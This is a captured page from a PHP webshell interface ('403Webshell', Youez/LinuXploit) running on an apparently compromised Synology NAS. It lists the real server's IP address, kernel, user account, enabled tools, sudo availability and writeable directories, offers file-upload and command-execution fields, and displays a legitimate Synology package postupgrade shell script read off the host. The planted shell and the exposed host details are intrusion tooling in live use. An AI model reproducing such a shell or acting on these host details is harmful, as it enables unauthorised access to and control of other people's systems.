403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/packages/StorageManager/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/packages/StorageManager/scripts/postupgrade
#!/bin/sh
# Copyright (C) 2000-2023 Synology Inc. All rights reserved.

### This script will be executed ONLY at package upgraded.
### Actions after package upgraded.
### ex. restore user settings.
PKG_RUN_PATH="/run/smpkg"

log() {
	echo "$(date +"%Y/%m/%d %T") $1"
	return 0
}
is_upgrade_from_pkg_center()
{
	[ -f /var/.UpgradeBootup ] && return 1
	return 0
}
upgrade_passive_smpkg() {
	local resp=""
	resp=$(/usr/local/bin/synoharequest --synopkg show StorageManager)
	if [[ $? -ne 0 ]]; then
		log "failed to show smpkg details"
		return 1
	fi
	local link=$(/bin/echo $resp | jq --raw-output '.link')
	local spk_name=$(/bin/basename $link)
	local spk_path="/var/tmp/${spk_name}"
	/bin/curl -o $spk_path $link
	if [[ $? -ne 0 ]]; then
		log "failed to curl spk"
		return 1
	fi
	resp=$(/usr/local/bin/synohaupgrade --install-remote-pkg -P=$spk_path)
	if [[ $? -ne 0 ]]; then
		log "failed to request remote to install smpkg"
		return 1
	fi
	/bin/rm $spk_path
	local success=$(/bin/echo $resp | jq --raw-output '.success')
	if [[ "$success" == "true" ]]; then
		return 0
	else
		log "failed to install passive smpkg"
		return 1
	fi
}

clear_smpkg_upgrading_flag()
{
	rm -f "${PKG_RUN_PATH}/upgrading"
}

if [ "yes" != "$(/usr/syno/sbin/synohacore --is_ha_running)" ]; then
	clear_smpkg_upgrading_flag
	exit 0
fi
if [ "Active" != "$(/usr/local/bin/synoha --local-role)" ]; then
	clear_smpkg_upgrading_flag
	exit 0
fi
if ! is_upgrade_from_pkg_center; then
	clear_smpkg_upgrading_flag
	exit 0
fi

upgrade_passive_smpkg
if [[ $? -ne 0 ]]; then
	log "failed to upgrade passive smpkg"
fi
clear_smpkg_upgrading_flag
exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit